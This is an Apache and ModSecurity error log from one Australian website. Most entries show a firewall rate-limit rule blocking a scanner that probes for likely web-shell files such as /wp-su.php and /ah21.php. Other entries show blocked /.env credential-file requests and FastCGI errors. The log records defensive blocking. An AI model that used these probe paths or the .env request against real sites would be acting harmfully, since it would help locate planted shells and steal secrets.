[Fri Jan 30 06:29:56.332626 2026] [:error] [pid 24681:tid 24692] [client 20.24.219.65:1835] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah21.php"] [unique_id "aXvfZIE368IXQpahn0LETAAAAQk"]
[Fri Jan 30 06:29:56.623461 2026] [:error] [pid 24681:tid 24705] [client 20.24.219.65:1895] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah21.php"] [unique_id "aXvfZIE368IXQpahn0LETwAAARY"]
[Fri Jan 30 06:29:56.965374 2026] [:error] [pid 24711:tid 24724] [client 20.24.219.65:1837] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah21.php"] [unique_id "aXvfZK5Gwh4var6T23JPhgAAAUo"]
[Fri Jan 30 06:29:57.208986 2026] [:error] [pid 46912:tid 46936] [client 20.24.219.65:1793] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah22.php"] [unique_id "aXvfZT6yiVW7A9NwFFkPOgAAAAw"]
[Fri Jan 30 06:29:57.498447 2026] [:error] [pid 24712:tid 24763] [client 20.24.219.65:1857] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah22.php"] [unique_id "aXvfZYRLQrFiQF3h9-tf_wAAAZU"]
[Fri Jan 30 06:29:57.749981 2026] [:error] [pid 24711:tid 24722] [client 20.24.219.65:1816] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah22.php"] [unique_id "aXvfZa5Gwh4var6T23JPjAAAAUg"]
[Fri Jan 30 06:29:58.061460 2026] [:error] [pid 24681:tid 24685] [client 20.24.219.65:1825] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah22.php"] [unique_id "aXvfZoE368IXQpahn0LEXAAAAQI"]
[Fri Jan 30 06:29:58.364977 2026] [:error] [pid 38980:tid 38992] [client 20.24.219.65:1838] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws38.php"] [unique_id "aXvfZrYByxUZEaKXdHrp8gAAAgU"]
[Fri Jan 30 06:29:58.690716 2026] [:error] [pid 47021:tid 47033] [client 20.24.219.65:1896] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws38.php"] [unique_id "aXvfZtap1k13UdZUNSRNAgAAAMo"]
[Fri Jan 30 06:29:58.999816 2026] [:error] [pid 46912:tid 46946] [client 20.24.219.65:1807] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws38.php"] [unique_id "aXvfZj6yiVW7A9NwFFkPPQAAABY"]
[Fri Jan 30 06:29:59.291656 2026] [:error] [pid 46912:tid 46941] [client 20.24.219.65:1855] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws38.php"] [unique_id "aXvfZz6yiVW7A9NwFFkPPgAAABE"]
[Fri Jan 30 06:29:59.559690 2026] [:error] [pid 46914:tid 46998] [client 20.24.219.65:1916] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXvfZ1gSfJ4kZxNKlb--oAAAAJQ"]
[Fri Jan 30 06:29:59.855641 2026] [:error] [pid 24711:tid 24731] [client 20.24.219.65:1885] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXvfZ65Gwh4var6T23JPjwAAAVE"]
[Fri Jan 30 06:30:00.100936 2026] [:error] [pid 47021:tid 47023] [client 20.24.219.65:1800] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXvfaNap1k13UdZUNSRNBgAAAMA"]
[Fri Jan 30 06:30:00.338516 2026] [:error] [pid 38980:tid 38990] [client 20.24.219.65:1741] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXvfaLYByxUZEaKXdHrp8wAAAgM"]
[Fri Jan 30 06:30:00.576612 2026] [:error] [pid 46914:tid 46987] [client 20.24.219.65:1914] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploaxa1.php"] [unique_id "aXvfaFgSfJ4kZxNKlb--ogAAAIk"]
[Fri Jan 30 06:30:00.822611 2026] [:error] [pid 47021:tid 47047] [client 20.24.219.65:1805] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploaxa1.php"] [unique_id "aXvfaNap1k13UdZUNSRNBwAAANg"]
[Fri Jan 30 06:30:01.065313 2026] [:error] [pid 24711:tid 24719] [client 20.24.219.65:1851] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploaxa1.php"] [unique_id "aXvfaa5Gwh4var6T23JPkQAAAUU"]
[Fri Jan 30 06:30:01.316238 2026] [:error] [pid 24711:tid 24717] [client 20.24.219.65:1910] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploaxa1.php"] [unique_id "aXvfaa5Gwh4var6T23JPkgAAAUM"]
[Fri Jan 30 06:30:01.614822 2026] [:error] [pid 38686:tid 38691] [client 20.24.219.65:1827] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-su.php"] [unique_id "aXvfaQoE8BAjgw1_sAWeTAAAAcE"]
[Fri Jan 30 06:30:01.859313 2026] [:error] [pid 47021:tid 47030] [client 20.24.219.65:1858] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-su.php"] [unique_id "aXvfadap1k13UdZUNSRNDAAAAMc"]
[Fri Jan 30 06:30:02.095949 2026] [:error] [pid 47021:tid 47043] [client 20.24.219.65:1899] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-su.php"] [unique_id "aXvfatap1k13UdZUNSRNDQAAANQ"]
[Fri Jan 30 06:30:02.336557 2026] [:error] [pid 38686:tid 38695] [client 20.24.219.65:1795] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-su.php"] [unique_id "aXvfagoE8BAjgw1_sAWeUAAAAcU"]
[Fri Jan 30 06:30:02.585446 2026] [:error] [pid 47021:tid 47026] [client 20.24.219.65:1853] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rzzaq.php"] [unique_id "aXvfatap1k13UdZUNSRNDgAAAMM"]
[Fri Jan 30 06:30:02.825497 2026] [:error] [pid 46912:tid 46925] [client 20.24.219.65:1821] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rzzaq.php"] [unique_id "aXvfaj6yiVW7A9NwFFkPQgAAAAE"]
[Fri Jan 30 06:30:03.071938 2026] [:error] [pid 24711:tid 24716] [client 20.24.219.65:1848] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rzzaq.php"] [unique_id "aXvfa65Gwh4var6T23JPlwAAAUI"]
[Fri Jan 30 06:30:03.308881 2026] [:error] [pid 24681:tid 24688] [client 20.24.219.65:1809] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rzzaq.php"] [unique_id "aXvfa4E368IXQpahn0LEbwAAAQU"]
[Fri Jan 30 06:30:03.555910 2026] [:error] [pid 24681:tid 24694] [client 20.24.219.65:1915] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abtpn.php"] [unique_id "aXvfa4E368IXQpahn0LEcAAAAQs"]
[Fri Jan 30 06:30:03.865566 2026] [:error] [pid 38980:tid 39006] [client 20.24.219.65:1817] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abtpn.php"] [unique_id "aXvfa7YByxUZEaKXdHrp9gAAAhM"]
[Fri Jan 30 06:30:04.111869 2026] [:error] [pid 24711:tid 24721] [client 20.24.219.65:1767] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abtpn.php"] [unique_id "aXvfbK5Gwh4var6T23JPmgAAAUc"]
[Fri Jan 30 06:30:04.346945 2026] [:error] [pid 38686:tid 38708] [client 20.24.219.65:1845] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abtpn.php"] [unique_id "aXvfbAoE8BAjgw1_sAWeVgAAAdI"]
[Fri Jan 30 06:30:04.589544 2026] [:error] [pid 47021:tid 47044] [client 20.24.219.65:1842] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/my1.php"] [unique_id "aXvfbNap1k13UdZUNSRNEQAAANU"]
[Fri Jan 30 06:30:04.841683 2026] [:error] [pid 46914:tid 46999] [client 20.24.219.65:1865] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/my1.php"] [unique_id "aXvfbFgSfJ4kZxNKlb--pQAAAJU"]
[Fri Jan 30 06:30:05.081686 2026] [:error] [pid 47021:tid 47035] [client 20.24.219.65:1897] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/my1.php"] [unique_id "aXvfbdap1k13UdZUNSRNEgAAAMw"]
[Fri Jan 30 06:30:05.323577 2026] [:error] [pid 46914:tid 46993] [client 20.24.219.65:1771] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/my1.php"] [unique_id "aXvfbVgSfJ4kZxNKlb--pgAAAI8"]
[Fri Jan 30 06:30:05.570070 2026] [:error] [pid 46912:tid 46935] [client 20.24.219.65:1772] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/taktak.php"] [unique_id "aXvfbT6yiVW7A9NwFFkPRwAAAAs"]
[Fri Jan 30 06:30:05.804798 2026] [:error] [pid 47021:tid 47043] [client 20.24.219.65:1751] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/taktak.php"] [unique_id "aXvfbdap1k13UdZUNSRNFgAAANQ"]
[Fri Jan 30 06:30:06.108084 2026] [:error] [pid 24711:tid 24714] [client 20.24.219.65:1878] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/taktak.php"] [unique_id "aXvfbq5Gwh4var6T23JPnQAAAUA"]
[Fri Jan 30 06:30:06.359982 2026] [:error] [pid 38686:tid 38706] [client 20.24.219.65:1912] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/taktak.php"] [unique_id "aXvfbgoE8BAjgw1_sAWeVwAAAdA"]
[Fri Jan 30 06:30:06.606898 2026] [:error] [pid 47021:tid 47029] [client 20.24.219.65:1753] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfcl.php"] [unique_id "aXvfbtap1k13UdZUNSRNGQAAAMY"]
[Fri Jan 30 06:30:06.845157 2026] [:error] [pid 38686:tid 38693] [client 20.24.219.65:1892] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfcl.php"] [unique_id "aXvfbgoE8BAjgw1_sAWeWAAAAcM"]
[Fri Jan 30 06:30:07.174498 2026] [:error] [pid 46912:tid 46936] [client 20.24.219.65:1763] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfcl.php"] [unique_id "aXvfbz6yiVW7A9NwFFkPSgAAAAw"]
[Fri Jan 30 06:30:07.408115 2026] [:error] [pid 47021:tid 47023] [client 20.24.219.65:1748] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfcl.php"] [unique_id "aXvfb9ap1k13UdZUNSRNHQAAAMA"]
[Fri Jan 30 06:30:07.646784 2026] [:error] [pid 47021:tid 47039] [client 20.24.219.65:1812] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ypukprhr.php"] [unique_id "aXvfb9ap1k13UdZUNSRNHgAAANA"]
[Fri Jan 30 06:30:07.932178 2026] [:error] [pid 47021:tid 47027] [client 20.24.219.65:1729] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ypukprhr.php"] [unique_id "aXvfb9ap1k13UdZUNSRNHwAAAMQ"]
[Fri Jan 30 06:30:08.238365 2026] [:error] [pid 38686:tid 38713] [client 20.24.219.65:1909] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ypukprhr.php"] [unique_id "aXvfcAoE8BAjgw1_sAWeWgAAAdc"]
[Fri Jan 30 06:30:08.489676 2026] [:error] [pid 46913:tid 46973] [client 20.24.219.65:1864] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ypukprhr.php"] [unique_id "aXvfcDMWmKL8hOfC3uQgNwAAAFY"]
[Fri Jan 30 06:30:08.728903 2026] [:error] [pid 38686:tid 38710] [client 20.24.219.65:1758] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tcnyz.php"] [unique_id "aXvfcAoE8BAjgw1_sAWeWwAAAdQ"]
[Fri Jan 30 06:30:08.971155 2026] [:error] [pid 38686:tid 38694] [client 20.24.219.65:1880] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tcnyz.php"] [unique_id "aXvfcAoE8BAjgw1_sAWeXAAAAcQ"]
[Fri Jan 30 06:30:09.214641 2026] [:error] [pid 46913:tid 46966] [client 20.24.219.65:1788] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tcnyz.php"] [unique_id "aXvfcTMWmKL8hOfC3uQgOQAAAE8"]
[Fri Jan 30 06:30:09.460350 2026] [:error] [pid 47021:tid 47024] [client 20.24.219.65:1782] [client 20.24.219.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tcnyz.php"] [unique_id "aXvfcdap1k13UdZUNSRNIgAAAME"]
[Fri Jan 30 06:30:17.207326 2026] [autoindex:error] [pid 46912:tid 46939] [client 164.90.142.198:63177] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Jan 30 09:13:27.984023 2026] [:error] [pid 38980:tid 38990] [client 185.93.89.120:63800] [client 185.93.89.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXwFt7YByxUZEaKXdHoQnAAAAgM"]
[Fri Jan 30 09:13:37.244163 2026] [:error] [pid 24681:tid 24693] [client 185.93.89.120:54904] [client 185.93.89.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXwFwYE368IXQpahn0L09AAAAQo"]
[Fri Jan 30 22:10:57.768654 2026] [proxy_fcgi:error] [pid 24711:tid 24719] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:10:58.349632 2026] [proxy_fcgi:error] [pid 24711:tid 24717] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:10:58.908851 2026] [proxy_fcgi:error] [pid 24711:tid 24725] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:10:59.464790 2026] [proxy_fcgi:error] [pid 24711:tid 24723] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:00.027652 2026] [proxy_fcgi:error] [pid 24711:tid 24724] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:04.572184 2026] [proxy_fcgi:error] [pid 24711:tid 24718] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:05.158644 2026] [proxy_fcgi:error] [pid 24711:tid 24735] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:05.735948 2026] [proxy_fcgi:error] [pid 24711:tid 24726] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
